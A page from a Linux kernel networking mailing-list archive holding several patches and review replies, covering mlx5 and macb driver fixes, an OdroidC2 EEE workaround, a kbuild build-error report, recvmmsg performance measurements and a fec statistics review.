To: saeedm, matanb, leonro; +Cc: netdev, linux-rdma, sahu.rameshwar73
In alloc_cmd_box(), pci_pool_alloc() followed by memset will be
replaced by pci_pool_zalloc()
Signed-off-by: Souptick joarder <jrdr.linux@gmail.com>
---
drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/mellanox/mlx5/core/cmd.c b/drivers/net/ethernet/mellanox/mlx5/core/cmd.c
index 1e639f8..d96ebd4 100644
--- a/drivers/net/ethernet/mellanox/mlx5/core/cmd.c
+++ b/drivers/net/ethernet/mellanox/mlx5/core/cmd.c
@@ -1063,14 +1063,13 @@ static struct mlx5_cmd_mailbox *alloc_cmd_box(struct mlx5_core_dev *dev,
if (!mailbox)
return ERR_PTR(-ENOMEM);
- mailbox->buf = pci_pool_alloc(dev->cmd.pool, flags,
+ mailbox->buf = pci_pool_zalloc(dev->cmd.pool, flags,
&mailbox->dma);
if (!mailbox->buf) {
mlx5_core_dbg(dev, "failed allocation\n");
kfree(mailbox);
return ERR_PTR(-ENOMEM);
}
- memset(mailbox->buf, 0, sizeof(struct mlx5_cmd_prot_block));
mailbox->next = NULL;
return mailbox;
--
1.9.1
^ permalink raw reply related
* [PATCH net v2 1/1] net: macb: fix the RX queue reset in macb_rx()
From: Cyrille Pitchen @ 2016-11-28 13:40 UTC (permalink / raw)
To: nicolas.ferre, davem, netdev, soren.brinkmann
Cc: Andrei.Pistirica, linux-arm-kernel, linux-kernel, Cyrille Pitchen
On macb only (not gem), when a RX queue corruption was detected from
macb_rx(), the RX queue was reset: during this process the RX ring
buffer descriptor was initialized by macb_init_rx_ring() but we forgot
to also set bp->rx_tail to 0.
Indeed, when processing the received frames, bp->rx_tail provides the
macb driver with the index in the RX ring buffer of the next buffer to
process. So when the whole ring buffer is reset we must also reset
bp->rx_tail so the driver is synchronized again with the hardware.
Since macb_init_rx_ring() is called from many locations, currently from
macb_rx() and macb_init_rings(), we'd rather add the "bp->rx_tail = 0;"
line inside macb_init_rx_ring() than add the very same line after each
call of this function.
Without this fix, the rx queue is not reset properly to recover from
queue corruption and connection drop may occur.
Signed-off-by: Cyrille Pitchen <cyrille.pitchen@atmel.com>
Fixes: 9ba723b081a2 ("net: macb: remove BUG_ON() and reset the queue to handle RX errors")
Acked-by: Nicolas Ferre <nicolas.ferre@atmel.com>
---
ChangeLog:
v1 -> v2:
- rebase on net/master (v1 was based on net-next/master)
- add "Acked-by:" tag from Nicolas Ferre.
drivers/net/ethernet/cadence/macb.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/cadence/macb.c b/drivers/net/ethernet/cadence/macb.c
index 533653bd7aec..3ede59c9cae0 100644
--- a/drivers/net/ethernet/cadence/macb.c
+++ b/drivers/net/ethernet/cadence/macb.c
@@ -975,6 +975,7 @@ static inline void macb_init_rx_ring(struct macb *bp)
addr += bp->rx_buffer_size;
}
bp->rx_ring[RX_RING_SIZE - 1].addr |= MACB_BIT(RX_WRAP);
+ bp->rx_tail = 0;
}
static int macb_rx(struct macb *bp, int budget)
@@ -1616,8 +1617,6 @@ static void macb_init_rings(struct macb *bp)
bp->queues[0].tx_head = 0;
bp->queues[0].tx_tail = 0;
bp->queues[0].tx_ring[TX_RING_SIZE - 1].ctrl |= MACB_BIT(TX_WRAP);
-
- bp->rx_tail = 0;
}
static void macb_reset_hw(struct macb *bp)
--
2.7.4
^ permalink raw reply related
* Re: [PATCH net-next v3 0/4] Fix OdroidC2 Gigabit Tx link issue
From: Neil Armstrong @ 2016-11-28 13:42 UTC (permalink / raw)
To: Jerome Brunet, netdev-u79uwXL29TY76Z2rM5mHXA,
devicetree-u79uwXL29TY76Z2rM5mHXA, Florian Fainelli
Cc: Carlo Caione, Kevin Hilman, Giuseppe Cavallaro, Alexandre TORGUE,
Martin Blumenstingl, Andre Roth, Andrew Lunn,
linux-amlogic-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r,
linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r,
linux-kernel-u79uwXL29TY76Z2rM5mHXA
In-Reply-To: <1480326409-25419-1-git-send-email-jbrunet-rdvid1DuHRBWk0Htik3J/w@public.gmane.org>
On 11/28/2016 10:46 AM, Jerome Brunet wrote:
> This patchset fixes an issue with the OdroidC2 board (DWMAC + RTL8211F).
> The platform seems to enter LPI on the Rx path too often while performing
> relatively high TX transfer. This eventually break the link (both Tx and
> Rx), and require to bring the interface down and up again to get the Rx
> path working again.
>
> The root cause of this issue is not fully understood yet but disabling EEE
> advertisement on the PHY prevent this feature to be negotiated.
> With this change, the link is stable and reliable, with the expected
> throughput performance.
>
> The patchset adds options in the generic phy driver to disable EEE
> advertisement, through device tree. The way it is done is very similar
> to the handling of the max-speed property.
>
> Changes since V2: [2]
> - Rename "eee-advert-disable" to "eee-broken-modes" to make the intended
> purpose of this option clear (flag broken configuration, not a
> configuration option)
> - Add DT bindings constants so the DT configuration is more user friendly
> - Submit to net-next instead of net.
>
> Changes since V1: [1]
> - Disable the advertisement of EEE in the generic code instead of the
> realtek driver.
>
> [1] : http://lkml.kernel.org/r/1479220154-25851-1-git-send-email-jbrunet-rdvid1DuHRBWk0Htik3J/w@public.gmane.org
> [2] : http://lkml.kernel.org/r/1479742524-30222-1-git-send-email-jbrunet-rdvid1DuHRBWk0Htik3J/w@public.gmane.org
>
>
> Jerome Brunet (4):
> net: phy: add an option to disable EEE advertisement
> dt-bindings: net: add EEE capability constants
> dt: bindings: add ethernet phy eee-broken-modes option documentation
> ARM64: dts: meson: odroidc2: disable advertisement EEE for GbE.
>
> Documentation/devicetree/bindings/net/phy.txt | 2 +
> .../arm64/boot/dts/amlogic/meson-gxbb-odroidc2.dts | 16 +++++
> drivers/net/phy/phy.c | 3 +
> drivers/net/phy/phy_device.c | 80 +++++++++++++++++++---
> include/dt-bindings/net/mdio.h | 19 +++++
> include/linux/phy.h | 3 +
> 6 files changed, 114 insertions(+), 9 deletions(-)
> create mode 100644 include/dt-bindings/net/mdio.h
>
Tested using Nexbox A1 (S912) and Amlogic P230 (S905D) devices (DWMAC + RTL8211F).
Tested-by: Neil Armstrong <narmstrong-rdvid1DuHRBWk0Htik3J/w@public.gmane.org>
--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: [PATCH net-next 8/9] liquidio CN23XX: VF interrupt
From: kbuild test robot @ 2016-11-28 13:42 UTC (permalink / raw)
To: Raghu Vatsavayi
Cc: kbuild-all, davem, netdev, Raghu Vatsavayi, Raghu Vatsavayi,
Derek Chickles, Satanand Burla, Felix Manlunas
In-Reply-To: <1480308702-6261-9-git-send-email-rvatsavayi@caviumnetworks.com>
[-- Attachment #1: Type: text/plain, Size: 3338 bytes --]
Hi Raghu,
[auto build test ERROR on net-next/master]
url: https://github.com/0day-ci/linux/commits/Raghu-Vatsavayi/liquidio-VF-operations/20161128-133447
config: powerpc-allyesconfig (attached as .config)
compiler: powerpc64-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
reproduce:
wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
chmod +x ~/bin/make.cross
# save the attached .config to linux build tree
make.cross ARCH=powerpc
All errors (new ones prefixed by >>):
drivers/built-in.o: In function `.liquidio_vf_remove':
>> lio_vf_main.c:(.text+0x1644f6c): undefined reference to `.cn23xx_vf_ask_pf_to_do_flr'
drivers/built-in.o: In function `.liquidio_vf_probe':
lio_vf_main.c:(.text+0x1645484): undefined reference to `.cn23xx_setup_octeon_vf_device'
>> lio_vf_main.c:(.text+0x16458b8): undefined reference to `.cn23xx_octeon_pfvf_handshake'
drivers/built-in.o: In function `.brcmf_rx_frame':
(.text+0x1ffa0fc): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `.memcmp' defined in .text section in arch/powerpc/lib/built-in.o
drivers/built-in.o: In function `.brcmf_rx_event':
(.text+0x1ffa238): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `.memcmp' defined in .text section in arch/powerpc/lib/built-in.o
drivers/built-in.o: In function `.brcmf_netdev_start_xmit':
core.c:(.text+0x1ffa5d0): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `.skb_realloc_headroom' defined in .text section in net/built-in.o
core.c:(.text+0x1ffa63c): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `.skb_realloc_headroom' defined in .text section in net/built-in.o
drivers/built-in.o: In function `.brcmf_net_setcarrier':
(.text+0x1ffa9dc): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `._mcount' defined in .text section in arch/powerpc/kernel/entry_64.o
drivers/built-in.o: In function `.brcmf_net_setcarrier':
(.text+0x1ffaa34): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `.netif_carrier_on' defined in .text section in net/built-in.o
drivers/built-in.o: In function `.brcmf_netdev_stop':
core.c:(.text+0x1ffaa84): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `._mcount' defined in .text section in arch/powerpc/kernel/entry_64.o
drivers/built-in.o: In function `.brcmf_add_if':
(.text+0x1ffab48): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `._mcount' defined in .text section in arch/powerpc/kernel/entry_64.o
drivers/built-in.o: In function `.brcmf_add_if':
(.text+0x1ffac68): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `.kmem_cache_alloc_trace' defined in .text section in mm/built-in.o
drivers/built-in.o: In function `.brcmf_remove_interface':
(.text+0x1ffae2c): relocation truncated to fit: R_PPC64_REL24 (stub) against symbol `._mcount' defined in .text section in arch/powerpc/kernel/entry_64.o
drivers/built-in.o: In function `.brcmf_bus_add_txhdrlen':
(.text+0x1ffb04c): additional relocation overflows omitted from the output
---
0-DAY kernel test infrastructure Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all Intel Corporation
[-- Attachment #2: .config.gz --]
[-- Type: application/gzip, Size: 51098 bytes --]
^ permalink raw reply
* Re: [PATCH 1/1] net: macb: fix the RX queue reset in macb_rx()
From: Cyrille Pitchen @ 2016-11-28 13:43 UTC (permalink / raw)
To: David Miller
Cc: nicolas.ferre, netdev, soren.brinkmann, Andrei.Pistirica,
linux-arm-kernel, linux-kernel
In-Reply-To: <20161127.202549.1887792653016840262.davem@davemloft.net>
Hi David,
Le 28/11/2016 à 02:25, David Miller a écrit :
> From: Cyrille Pitchen <cyrille.pitchen@atmel.com>
> Date: Fri, 25 Nov 2016 09:49:32 +0100
>
>> On macb only (not gem), when a RX queue corruption was detected from
>> macb_rx(), the RX queue was reset: during this process the RX ring
>> buffer descriptor was initialized by macb_init_rx_ring() but we forgot
>> to also set bp->rx_tail to 0.
>>
>> Indeed, when processing the received frames, bp->rx_tail provides the
>> macb driver with the index in the RX ring buffer of the next buffer to
>> process. So when the whole ring buffer is reset we must also reset
>> bp->rx_tail so the driver is synchronized again with the hardware.
>>
>> Since macb_init_rx_ring() is called from many locations, currently from
>> macb_rx() and macb_init_rings(), we'd rather add the "bp->rx_tail = 0;"
>> line inside macb_init_rx_ring() than add the very same line after each
>> call of this function.
>>
>> Without this fix, the rx queue is not reset properly to recover from
>> queue corruption and connection drop may occur.
>>
>> Signed-off-by: Cyrille Pitchen <cyrille.pitchen@atmel.com>
>> Fixes: 9ba723b081a2 ("net: macb: remove BUG_ON() and reset the queue to handle RX errors")
>
> This doesn't apply cleanly to the 'net' tree, where
> RX_RING_SIZE is used instead of bp->rx_ring_size. It seems
> you generated this against net-next, however you didn't say
> that either in your Subject line nor the commit message.
>
> As a bug fix this should be targetted at 'net'.
>
Indeed, sorry. I've just sent a v2 based on net/master.
Best regards,
Cyrille
^ permalink raw reply
* Re: [PATCH 1/1] net: macb: ensure ordering write to re-enable RX smoothly
From: Zumeng Chen @ 2016-11-28 13:47 UTC (permalink / raw)
To: Nicolas Ferre; +Cc: davem, netdev, linux-kernel, Cyrille Pitchen
In-Reply-To: <599275f8-f40c-e550-cef6-f902e80d1738@atmel.com>
On 2016年11月28日 17:22, Nicolas Ferre wrote:
> Le 28/11/2016 à 08:57, Zumeng Chen a écrit :
>> When a hardware issue happened as described by inline comments, the register
>> write pattern looks like the following:
>>
>> <write ~MACB_BIT(RE)>
>> + wmb();
>> <write MACB_BIT(RE)>
>>
>> There might be a memory barrier between these two write operations, so add wmb
>> to ensure an flip from 0 to 1 for NCR.
>>
>> Signed-off-by: Zumeng Chen <zumeng.chen@windriver.com>
>> ---
>> drivers/net/ethernet/cadence/macb.c | 1 +
>> 1 file changed, 1 insertion(+)
>>
>> diff --git a/drivers/net/ethernet/cadence/macb.c b/drivers/net/ethernet/cadence/macb.c
>> index 533653b..2f9c5b2 100644
>> --- a/drivers/net/ethernet/cadence/macb.c
>> +++ b/drivers/net/ethernet/cadence/macb.c
>> @@ -1156,6 +1156,7 @@ static irqreturn_t macb_interrupt(int irq, void *dev_id)
>> if (status & MACB_BIT(RXUBR)) {
>> ctrl = macb_readl(bp, NCR);
>> macb_writel(bp, NCR, ctrl & ~MACB_BIT(RE));
>> + wmb();
>> macb_writel(bp, NCR, ctrl | MACB_BIT(RE));
>>
>> if (bp->caps & MACB_CAPS_ISR_CLEAR_ON_WRITE)
> It seems that there is exactly the same pattern in function
> at91ether_interrupt() can you fix both locations in your patch please?
Indeed, I'll send v2 soon, thanks Nicolas.
Although I only have the environment to re-produce the error report
as follows: "not whole frame pointed by descriptor" for macb_interrupt.
Cheers,
Zumeng
>
> Thanks, best regards,
^ permalink raw reply
* Re: [PATCH net-next 0/5] net: add protocol level recvmmsg support
From: Jesper Dangaard Brouer @ 2016-11-28 13:52 UTC (permalink / raw)
To: Paolo Abeni
Cc: netdev, David S. Miller, Eric Dumazet, Hannes Frederic Sowa,
Sabrina Dubroca, brouer
In-Reply-To: <20161128132141.217aef39@redhat.com>
On Mon, 28 Nov 2016 13:21:41 +0100 Jesper Dangaard Brouer <brouer@redhat.com> wrote:
> On Mon, 28 Nov 2016 11:52:38 +0100 Paolo Abeni <pabeni@redhat.com> wrote:
> >
> > > > [2] like [1], but using the minimum number of flows to saturate the user space
> > > > sink, that is 1 flow for the old kernel and 3 for the patched one.
> > > > the tput increases since the contention on the rx lock is low.
> > > > [3] like [1] but using a single flow with both old and new kernel. All the
> > > > packets land on the same rx queue and there is a single ksoftirqd instance
> > > > running
[...]
> >
> > We also used connected socket for test[3], with relative little
> > difference (the tput increased for both unpatched and patched kernel,
> > and the difference was roughly the same).
>
> When I use connected sockets (RX side) and ip_early_demux enabled, I do
> see a performance boost for recvmmsg. With these patches applied,
> forced ksoftirqd on CPU0 and udp_sink on CPU2, pktgen single flow
> sending size 1472 bytes.
>
> $ sysctl net/ipv4/ip_early_demux
> net.ipv4.ip_early_demux = 1
>
> $ grep -H . /proc/sys/net/core/{r,w}mem_max
> /proc/sys/net/core/rmem_max:1048576
> /proc/sys/net/core/wmem_max:1048576
>
> # taskset -c 2 ./udp_sink --count $((10**7)) --port 9 --repeat 1
> # ns pps cycles
> recvMmsg/32 run: 0 10000000 462.51 2162095.23 1853
> recvmsg run: 0 10000000 536.47 1864041.75 2150
> read run: 0 10000000 492.01 2032460.71 1972
> recvfrom run: 0 10000000 553.94 1805262.84 2220
>
> # taskset -c 2 ./udp_sink --count $((10**7)) --port 9 --repeat 1 --connect
> # ns pps cycles
> recvMmsg/32 run: 0 10000000 405.15 2468225.03 1623
> recvmsg run: 0 10000000 548.23 1824049.58 2197
> read run: 0 10000000 489.76 2041825.27 1962
> recvfrom run: 0 10000000 466.18 2145091.77 1868
>
> My theory is that by enabling connect'ed RX socket, the ksoftirqd gets
> faster (no fib_lookup) and is no-longer a bottleneck. This is
> confirmed by nstat.
Paolo asked me to do a test with small packets with pktgen, and I was
actually surprised by the result.
# taskset -c 2 ./udp_sink --count $((10**7)) --port 9 --repeat 1 --connect
recvMmsg/32 run: 0 10000000 426.61 2344076.59 1709 17098657328
recvmsg run: 0 10000000 533.49 1874449.82 2138 21382574965
read run: 0 10000000 470.22 2126651.13 1884 18846797802
recvfrom run: 0 10000000 513.74 1946499.83 2059 20591095477
Notice how recvMmsg/32, got slower with 124kpps (2468225 pps -> 2344076 pps).
I was expecting it to get faster, given we just established udp_sink
was the bottleneck, and smaller packet should mean less copy of bytes
to userspace (copy_user_enhanced_fast_string). (With nstat I observe
ksoftirq is again the bottleneck).
Looking at perf diff of CPU2 (baseline=64Bytes) we do see an increase
of copy_user_enhanced_fast_string. More interestingly we see a
decrease in the locking cost when using big packets (see ** below)
# Event 'cycles:ppp'
#
# Baseline Delta Shared Object Symbol
# ........ ....... ................ .........................................
#
15.09% +0.33% [kernel.vmlinux] [k] copy_msghdr_from_user
12.36% +21.89% [kernel.vmlinux] [k] copy_user_enhanced_fast_string
8.65% -0.63% [kernel.vmlinux] [k] udp_process_skb
7.33% -1.88% [kernel.vmlinux] [k] __skb_try_recv_datagram_batch
** 7.12% -6.66% [kernel.vmlinux] [k] udp_rmem_release **
** 6.71% -6.52% [kernel.vmlinux] [k] _raw_spin_lock_bh **
6.35% +1.36% [kernel.vmlinux] [k] __free_page_frag
4.39% +0.29% [kernel.vmlinux] [k] copy_msghdr_to_user_gen
2.87% -1.52% [kernel.vmlinux] [k] skb_release_data
2.60% +0.14% [kernel.vmlinux] [k] __put_user_4
2.27% -2.18% [kernel.vmlinux] [k] __sk_mem_reduce_allocated
2.11% +0.08% [kernel.vmlinux] [k] cmpxchg_double_slab.isra.68
1.90% +2.40% [kernel.vmlinux] [k] __slab_free
1.73% +0.20% [kernel.vmlinux] [k] __udp_recvmmsg
1.62% -1.62% [kernel.vmlinux] [k] intel_idle
1.52% +0.22% [kernel.vmlinux] [k] copy_to_iter
1.20% -0.03% [kernel.vmlinux] [k] import_iovec
1.14% +0.05% [kernel.vmlinux] [k] rw_copy_check_uvector
0.80% -0.04% [kernel.vmlinux] [k] recvmmsg_ctx_to_user
0.75% -0.69% [kernel.vmlinux] [k] __local_bh_enable_ip
0.71% +0.18% [kernel.vmlinux] [k] skb_copy_datagram_iter
0.70% -0.07% [kernel.vmlinux] [k] recvmmsg_ctx_from_user
0.67% +0.08% [kernel.vmlinux] [k] kmem_cache_free
0.56% +0.42% [kernel.vmlinux] [k] udp_process_msg
0.48% +0.05% [kernel.vmlinux] [k] skb_release_head_state
0.46% [kernel.vmlinux] [k] lapic_next_deadline
0.36% [kernel.vmlinux] [k] __switch_to
0.34% -0.03% [kernel.vmlinux] [k] consume_skb
0.32% -0.05% [kernel.vmlinux] [k] skb_consume_udp
The perf diff from CPU0, also show less lock congestion:
# Event 'cycles:ppp'
#
# Baseline Delta Shared Object Symbol
# ........ ....... ................ .........................................
#
11.04% -3.02% [kernel.vmlinux] [k] __udp_enqueue_schedule_skb
9.98% +2.16% [mlx5_core] [k] mlx5e_handle_rx_cqe
7.23% -1.85% [kernel.vmlinux] [k] udp_v4_early_demux
3.90% +0.73% [kernel.vmlinux] [k] build_skb
3.85% -1.77% [kernel.vmlinux] [k] udp_queue_rcv_skb
3.83% +0.02% [kernel.vmlinux] [k] sock_def_readable
** 3.26% -3.19% [kernel.vmlinux] [k] queued_spin_lock_slowpath **
2.99% +0.55% [kernel.vmlinux] [k] __build_skb
2.97% +0.11% [kernel.vmlinux] [k] __udp4_lib_rcv
** 2.87% -1.39% [kernel.vmlinux] [k] _raw_spin_lock **
2.67% +0.60% [kernel.vmlinux] [k] ip_rcv
2.65% +0.61% [kernel.vmlinux] [k] __netif_receive_skb_core
2.64% +0.79% [ip_tables] [k] ipt_do_table
2.37% +0.37% [kernel.vmlinux] [k] read_tsc
2.26% +0.52% [mlx5_core] [k] mlx5e_get_cqe
2.11% -1.15% [kernel.vmlinux] [k] __sk_mem_raise_allocated
2.10% +0.37% [kernel.vmlinux] [k] __rcu_read_unlock
2.04% +0.67% [mlx5_core] [k] mlx5e_alloc_rx_wqe
1.86% +0.40% [kernel.vmlinux] [k] inet_gro_receive
1.57% +0.11% [kernel.vmlinux] [k] kmem_cache_alloc
1.53% +0.28% [kernel.vmlinux] [k] _raw_read_lock
1.53% +0.25% [kernel.vmlinux] [k] dev_gro_receive
1.38% -0.18% [kernel.vmlinux] [k] udp_gro_receive
1.19% +0.37% [kernel.vmlinux] [k] __rcu_read_lock
1.14% +0.31% [kernel.vmlinux] [k] _raw_read_unlock
1.14% +0.12% [kernel.vmlinux] [k] ip_rcv_finish
1.13% +0.20% [kernel.vmlinux] [k] __udp4_lib_lookup
1.05% +0.16% [kernel.vmlinux] [k] ktime_get_with_offset
0.94% +0.38% [kernel.vmlinux] [k] ip_local_deliver_finish
0.91% +0.22% [kernel.vmlinux] [k] do_csum
0.86% -0.04% [kernel.vmlinux] [k] ipv4_pktinfo_prepare
0.84% +0.05% [kernel.vmlinux] [k] sk_filter_trim_cap
0.84% +0.20% [kernel.vmlinux] [k] ip_local_deliver
0.84% +0.19% [kernel.vmlinux] [k] udp4_gro_receive
--
Best regards,
Jesper Dangaard Brouer
MSc.CS, Principal Kernel Engineer at Red Hat
Author of http://www.iptv-analyzer.org
LinkedIn: http://www.linkedin.com/in/brouer
^ permalink raw reply
* [PATCH v2 1/1] net: macb: ensure ordering write to re-enable RX smoothly
From: Zumeng Chen @ 2016-11-28 13:55 UTC (permalink / raw)
To: nicolas.ferre; +Cc: davem, netdev, linux-kernel
When a hardware issue happened as described by inline comments, the register
write pattern looks like the following:
<write ~MACB_BIT(RE)>
+ wmb();
<write MACB_BIT(RE)>
There might be a memory barrier between these two write operations, so add wmb
to ensure an flip from 0 to 1 for NCR.
Signed-off-by: Zumeng Chen <zumeng.chen@windriver.com>
---
V2 changes:
Add the same wmb for at91ether as well based on reviewer's suggestion.
Cheers,
drivers/net/ethernet/cadence/macb.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/net/ethernet/cadence/macb.c b/drivers/net/ethernet/cadence/macb.c
index 533653b..6d7cfa7 100644
--- a/drivers/net/ethernet/cadence/macb.c
+++ b/drivers/net/ethernet/cadence/macb.c
@@ -1156,6 +1156,7 @@ static irqreturn_t macb_interrupt(int irq, void *dev_id)
if (status & MACB_BIT(RXUBR)) {
ctrl = macb_readl(bp, NCR);
macb_writel(bp, NCR, ctrl & ~MACB_BIT(RE));
+ wmb();
macb_writel(bp, NCR, ctrl | MACB_BIT(RE));
if (bp->caps & MACB_CAPS_ISR_CLEAR_ON_WRITE)
@@ -2770,6 +2771,7 @@ static irqreturn_t at91ether_interrupt(int irq, void *dev_id)
if (intstatus & MACB_BIT(RXUBR)) {
ctl = macb_readl(lp, NCR);
macb_writel(lp, NCR, ctl & ~MACB_BIT(RE));
+ wmb();
macb_writel(lp, NCR, ctl | MACB_BIT(RE));
}
--
2.4.11
^ permalink raw reply related
* Re: [PATCH v2 1/1] net: macb: ensure ordering write to re-enable RX smoothly
From: Nicolas Ferre @ 2016-11-28 14:04 UTC (permalink / raw)
To: Zumeng Chen
Cc: davem, netdev, linux-kernel, Cyrille Pitchen, Andrei Pistirica
In-Reply-To: <1480341300-17384-1-git-send-email-zumeng.chen@windriver.com>
Le 28/11/2016 à 14:55, Zumeng Chen a écrit :
> When a hardware issue happened as described by inline comments, the register
> write pattern looks like the following:
>
> <write ~MACB_BIT(RE)>
> + wmb();
> <write MACB_BIT(RE)>
>
> There might be a memory barrier between these two write operations, so add wmb
> to ensure an flip from 0 to 1 for NCR.
>
> Signed-off-by: Zumeng Chen <zumeng.chen@windriver.com>
Acked-by: Nicolas Ferre <nicolas.ferre@atmel.com>
Thanks, best regards,
> ---
>
> V2 changes:
>
> Add the same wmb for at91ether as well based on reviewer's suggestion.
>
> Cheers,
> drivers/net/ethernet/cadence/macb.c | 2 ++
> 1 file changed, 2 insertions(+)
>
> diff --git a/drivers/net/ethernet/cadence/macb.c b/drivers/net/ethernet/cadence/macb.c
> index 533653b..6d7cfa7 100644
> --- a/drivers/net/ethernet/cadence/macb.c
> +++ b/drivers/net/ethernet/cadence/macb.c
> @@ -1156,6 +1156,7 @@ static irqreturn_t macb_interrupt(int irq, void *dev_id)
> if (status & MACB_BIT(RXUBR)) {
> ctrl = macb_readl(bp, NCR);
> macb_writel(bp, NCR, ctrl & ~MACB_BIT(RE));
> + wmb();
> macb_writel(bp, NCR, ctrl | MACB_BIT(RE));
>
> if (bp->caps & MACB_CAPS_ISR_CLEAR_ON_WRITE)
> @@ -2770,6 +2771,7 @@ static irqreturn_t at91ether_interrupt(int irq, void *dev_id)
> if (intstatus & MACB_BIT(RXUBR)) {
> ctl = macb_readl(lp, NCR);
> macb_writel(lp, NCR, ctl & ~MACB_BIT(RE));
> + wmb();
> macb_writel(lp, NCR, ctl | MACB_BIT(RE));
> }
>
>
--
Nicolas Ferre
^ permalink raw reply
* Re: [PATCH] net: fec: turn on device when extracting statistics
From: David Miller @ 2016-11-28 14:11 UTC (permalink / raw)
To: nikita.yoush
Cc: fugang.duan, troy.kisky, andrew, eric, tremyfr, johannes, netdev,
linux-kernel, cphealy, fabio.estevam
In-Reply-To: <4ddb5842-0ece-2950-214f-f56db808ffbd@cogentembedded.com>
From: Nikita Yushchenko <nikita.yoush@cogentembedded.com>
Date: Mon, 28 Nov 2016 10:06:31 +0300
>
>
> 28.11.2016 04:29, David Miller пишет:
>> From: Nikita Yushchenko <nikita.yoush@cogentembedded.com>
>> Date: Fri, 25 Nov 2016 13:02:00 +0300
>>
>>> + int i, ret;
>>> +
>>> + ret = pm_runtime_get_sync(&fep->pdev->dev);
>>> + if (IS_ERR_VALUE(ret)) {
>>> + memset(data, 0, sizeof(*data) * ARRAY_SIZE(fec_stats));
>>> + return;
>>> + }
>>
>> This really isn't the way to do this.
>>
>> When the device is suspended and the clocks are going to be stopped,
>> you must fetch the statistic values into a software copy and provide
>> those if the device is suspended when statistics are requested.
>
> Ok, can do that, although can't see what's wrong with waking device
> here. The situation of requesting stats on down device isn't something
> widely used, thus keeping handling of that as local as possible looks
> better for me.
The issue is the fact that you need error handling at all and might
therefore provide a set of zero stats to the user when that entire
possibility could have been avoided in the first place by recording
the stats at suspend time.
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox